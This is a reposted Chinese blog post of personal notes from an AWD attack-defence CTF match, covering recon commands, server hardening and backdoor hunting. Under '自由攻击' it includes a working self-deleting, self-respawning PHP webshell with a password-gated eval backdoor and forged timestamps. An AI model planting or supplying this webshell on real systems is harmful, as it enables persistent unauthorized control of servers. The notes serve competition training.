awd总结

总结:

由于是第一次参加AWD比赛,各方面经验都不足,在参赛的前几天也是疯狂搜集各种脚本、框架、工具等,同时也参考b站的视频进行学习,我发现就是还是实操才能更快的学习

我觉得就是我前期的准备工作不足,也可能是我当时比赛网太卡了,kali一直没有ssh连接上,换了moba连结果半天回应一个连接超时,现下的xshell结果还死活尝试连接不上去,当时就有点慌了,因为比赛已经开始很久了我还没ssh连接上,我就一直找是不是复制错了,百度了一下说是可能因为我的windows没有开ssh和sshd连接,后面就一直尝试解决问题,到后面心态就有点崩溃了,下来问其他人他们都是直接连就能用,我也不知道到底是什么问题,目前还正在解决问题中。

因为一直没有ssh连接上,所以接下来的时间都浪费在解决为什么连不上这个问题上了,其他常见的资料很多网上和师兄发的都有,这里就写一些新学到的东西,方便下次打awd比赛的时候看,以免出现同样愚蠢的错误。

笔记:
1.信息确认

(这里借用大佬鹿鸣天涯的介绍)

标记1:比赛名称

标记2:白名单一般用于防止外部恶意攻击,如果赛方发现名单以外IP 可能会进行封禁处理。

标记3:用户服务器登录,账号为team1 密码为fe85d7dec6e3757f391e013efdd67c0c,端口为2222,一般服务器为Linux系统,登录工具可以使用xSHELL,finalSHELL等。

标记4:Token主要用于脚本身份凭证用于自动化提交鉴别。虚拟IP为靶机访问网址。其他选手地址为192-168-x-250.pvp923.bugku.cn,x可以是1-255内任一个数字。

标记5:主要用于扫描其他选手靶机用来攻击获取到根目录FLAG并提交得分,靶机环境和自己的靶机一致。

标记6:FLAG提交处。

标记7:用于脚本提交的api接口。

标记8:大屏观赛区

2.登录靶机
3.信息收集

主机探测:一般用nmap

查看本机ip:用ipconfig

扫描c段存活:如namp -sn 192.168.0.0/24;

nmap -sV 192.168.0.2 #扫描主机系统版本
                          nmap -sS 192.168.0.2#扫描主机常用端口;

                          nmap -sS -p 80,445 192.168.0.2  #扫描主机部分端口
                          nmap -sS -p- 192.168.0.2 #扫描主机全部端口

明确Linux机器信息

uname -a                       //系统信息
ps -aux                        //查询进程信息
ps -ef | grep 进程名称         //筛选指定进程
id                             //用于显示用户ID,以及所属群组ID
cat /etc/passwd                //查看用户情况
ls /home/                      //查看用户情况
find / -type d -perm -002      //可写目录检查
ifconfig                       //Linux上查看网卡信息

明确Windows机器信息

whoami /all                    //Windows上查看用户详细信息
ipconfig  /all                 //Windows上查看网卡信息

找本地Flag

grep -r "flag" /var/www/html/  //Linux:在Web目录下查找flag
findstr /s /i "flag" *.*       //Windows:当前目录以及所有子目录下的所有文件中查找"flag"这个字符串

4.安全加固

压缩源码

tar -cvf web.tar /var/www/html
zip -q -r web.zip /var/www/html

备份源码:

mv web.tar /tmp
mv web.zip /home/xxx

利用 .htaccess 配置文件禁止php文件执行

<Directory "/var/www/html/upload">   //指定目录后续的指令将应用于该目录
Options -ExecCGI -Indexes            //禁用了目录中的 CGI 执行和目录索引(显示目录内容列表)功能。
AllowOverride None                   //不允许在该目录中使用 .htaccess 文件来覆盖服务器的配置。
RemoveHandler .php .phtml .php3 .pht .php4 .php5 .php7 .shtml  
RemoveType .php .phtml .php3 .pht .php4 .php5 .php7 .shtml      
//这两个指令移除指定文件扩展名的处理器和类型。
//在这种情况下,这些指令从 Apache 的处理列表中移除了与 PHP 相关的扩展名和服务器端包含(SSI)文件类型。
php_flag engine off     //这个指令将 PHP 的引擎标志(engine)设置为关闭状态,从而禁用了在该目录中执行 PHP 脚本的能力。
<FilesMatch ".+\.ph(p[3457]?|t|tml)$">
deny from all
</FilesMatch>  //这三行命令使用正则表达式匹配了以 .php、.phtml、.php3、.pht、.php4、.php5、.php7、.shtml 结尾的文件,并将其访问权限设置为拒绝所有
</Directory>

关闭PHP伪协议 

allow_url_fopen = Off
allow_url_include = Off

备份指定数据库:

mysqldump –u username –p password databasename > target.sql

5.自由攻击

进阶不死马:

<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = 'shell.php';
$code = '<?php if(md5($_POST["passwd"])=="8c7d608cbb4c63f32be59a9ba8c9f49d"){@eval($_REQUEST["cmd"]);} ?>';while (1){file_put_contents($file,$code);system('touch -m -d "2020-12-01 09:10:12" shell.php');  //修改时间,防止被删usleep(5000);
}
?>//passwd=AabyssTeam
//POST传参:passwd=AabyssTeam&cmd=system('ls');

后门查杀

通过命令查看可疑文件:

find /var/www/html -name *.php -mmin -20 #查看最近20分钟修改文件
find ./ -name '*.php' | xargs wc -l | sort -u #寻找行数最短文件
grep -r --include=*.php  '[^a-z]eval($_POST'  /var/www/html    #查包含关键字的php文件
find /var/www/html -type f -name "*.php" | xargs grep "eval(" |more

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/671139.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【sentinel流量卫兵配置持久化到Nacos】

sentinel流量卫兵配置持久化到Nacos 概述&#xff1a; 一、添加配置二、配置说明限流规则配置&#xff1a;降级规则配置&#xff1a;热点规则配置&#xff1a;授权规则配置&#xff1a;系统规则配置&#xff1a; 三、服务整合 概述&#xff1a; 控制台配置的参数&#xff0c;默…

【TCP与UDP】day4

1.连接性 TCP是面向连接的&#xff0c;它在传输数据之前要先建立连接&#xff0c;传输完毕后再释放连接。 UDP是无连接的&#xff0c;发送数据之前不需要建立连接&#xff0c;也不会维护连接状态。 2.可靠性 TCP 提供可靠的数据传输&#xff0c;通过确认、重传、流量控制和拥塞…

Linux 文件连接:符号链接与硬链接

Linux 文件连接&#xff1a;符号链接与硬链接 介绍 在 Linux 系统中&#xff0c;文件连接是一个强大的概念&#xff0c;它允许我们在文件系统中创建引用&#xff0c;从而使得文件和目录之间产生联系。在本文中&#xff0c;我们将深入探讨两种主要类型的文件连接&#xff1a;符…

STM32WLE5JC

Sub-GHz 无线电介绍 sub-GHz无线电是一种超低功耗sub-GHz无线电&#xff0c;工作在150-960MHz ISM频段。 在发送和接收中采用LoRa和&#xff08;G&#xff09;FSK调制&#xff0c;仅在发送中采用BPSK/(G)MSK调制&#xff0c;可以在距离、数据速率和功耗之间实现最佳权衡。 这…

Maven的安装以及配置(超级详细版)

前言 至于什么是Maven&#xff0c;大家可以理解为之前的Vue一样&#xff0c;也是通过操控对象映射来使用的 他内部还有很多的插件用于实现对应的功能&#xff0c;例如打包插件&#xff0c;或是测试 maven下载 Maven – Download Apache Maven apache下的开源项目&#xff0c…

《Docker极简教程》--Docker基础--基础知识(一)

在这篇文章中我们先大致的了解以下Docker的基本概念&#xff0c;在后续的文章中我们会详细的讲解这些概念以及使用。 一、容器(Container) 1.1 容器的定义和特点 容器的定义 容器是一种轻量级、可移植的软件打包技术&#xff0c;用于打包应用及其依赖项和运行环境&#xff0c…

Python程序设计 深浅拷贝

对象引用、浅拷贝、深拷贝(拓展、难点、重点) Python中&#xff0c;对象的赋值&#xff0c;拷贝&#xff08;深/浅拷贝&#xff09;之间是有差异的&#xff0c;如果使用的时候不注意&#xff0c;就可能产生意外的结果 其实这个是由于共享内存导致的结果 拷贝&#xff1a;原则…

2402d,d的real大小

原文 为什么在x86系统上,real.sizeof16! 它的IEEE754扩展格式:64位尾数15位指数符号. 它应该是10字节! 我意思是,可能对齐不同,但为什么即使在数组中,也浪费这么多内存? 根据语言规范,real是"可用的最大浮点大小".即在某些系统上,它是IEEE754的128位四精度浮点数…

Java Character源码剖析

Character类除了封装了一个char外&#xff0c;还封装了Unicode字符级别的各种操作&#xff0c;是Java文本处理的基础。下面结合源码分析Character的贡献。 Unicode 也许你没听过Unicode&#xff0c;但应该见过UTF-8。UTF-8&#xff08;8-bit Unicode Transformation Format&a…

Linux的进程信号

注意&#xff1a;首先需要提醒一个事情&#xff0c;本节提及的进程信号和下节的信号量没有任何关系&#xff0c;请您区分对待。 1.信号概念 1.1.生活中的信号 我们在生活中通过体验现实&#xff0c;记忆了一些信号和对应的处理动作&#xff0c;这意味着信号有以下相关的特点&…

Linux定时监测数据库服务若掉了则启动数据库服务

Linux定时监测数据库服务若掉了则启动数据库服务 环境介绍环境介绍 在某些生产环境,业务系统抛异常报错,排查发现数据库连接异常,查看数据库服务已经关闭;人工定位问题解决问题需要较长时间;到人工启动数据库期间,业务系统一直处于故障状态,无法访问;配置Linux定时任务,判断数据…

ROS笔记二:launch

目录 launch node标签 参数 参数服务器 节点分组 launch launch文件是一种可以可实现多节点启动和参数配置的xml文件,launch文件用于启动和配置ROS节点、参数和其他相关组件。launch文件通常使用XML格式编写&#xff0c;其主要目的是方便地启动ROS节点和设置节点之间的连…

寒假刷题第21天

PTA甲级 1174 Left-View of Binary Tree #include<iostream> #include<vector> #include<algorithm> #include<unordered_map>using namespace std;const int N 1e5 10; int pre[N] , in[N] , idx[N] , l[N] , r[N]; int n , max_dep 0; unordere…

72.是否可以把所有Bean都通过Spring容器来管理?(Spring的applicationContext.xml中配置全局扫 描)

一、是否可以把所有Bean都通过Spring容器来管理&#xff1f;&#xff08;Spring的applicationContext.xml中配置全局扫描) 不可以&#xff0c;这样会导致我们请求接口的时候产生404。 如果所有的Bean都交给父容器&#xff0c;SpringMVC在初始化HandlerMethods的时 候&#xff…

Vue3 中的各种ref

年前搞了一个V3的需求&#xff0c;里面涉及了一些各种ref的使用&#xff0c;今天顺便总结下V3中ref家族。 ref家族 ref()toReftoRefsisRef()unref()shallowReftriggerRefcustomRef总结 ref() 大家对于 ref 这个 API 肯定都不陌生。在 Vue3 中经常会用到它。它的作用是接收一个…

Kuberntes权威指南

一、目录 二、Kubernetes入门 三、Kubernetes核心原理 四、Kubernetes开发指南 五、Kubernetes运维指南 六、Kubernetes高级案例进阶 七、Kubernetes源码导读

20240206三次握手四次挥手

TCP和UDP异同点 相同点&#xff1a;同属于传输层的协议 不同点&#xff1a; TCP ----> 稳定 1> 提供面向连接的&#xff0c;可靠的数据传输服务 2> 传输过程中&#xff0c;数据无误、数据无丢失、数据无失序、数据无重复 1、TCP会给每个数据包编上编号&#xff…

收藏:数据要素、数据资源、数据资产、数字资产的区别

01 什么是数据要素&#xff1f; 《中共中央关于坚持和完善中国特色社会主义制度推进国家治理体系和治理能力现代化若干重大的决议》&#xff08;2019&#xff09;首次将数据列为生产要素。 《关于构建更加完善的要素市场化配置体制机制的意见》&#xff08;2020.3&#xff09…

【Android-Gradle】多模块开发中,定义额外属性(全局变量),穿梭在不同的Gradle文件中(kotlin脚本版)

其他信息可以参考官网&#xff1a;https://docs.gradle.org/current/dsl/org.gradle.api.plugins.ExtraPropertiesExtension.html#org.gradle.api.plugins.ExtraPropertiesExtension 但是本文讲一些简单应用&#xff1a; 需求1&#xff1a;根目录gradle文件定义一个全局变量 …

分享71个节日PPT,总有一款适合您

分享71个节日PPT&#xff0c;总有一款适合您 71个节日PPT下载链接&#xff1a;https://pan.baidu.com/s/1v4_fHplsf_hOJQbNPVUudg?pwd8888 提取码&#xff1a;8888 Python采集代码下载链接&#xff1a;采集代码.zip - 蓝奏云 学习知识费力气&#xff0c;收集整理更不易…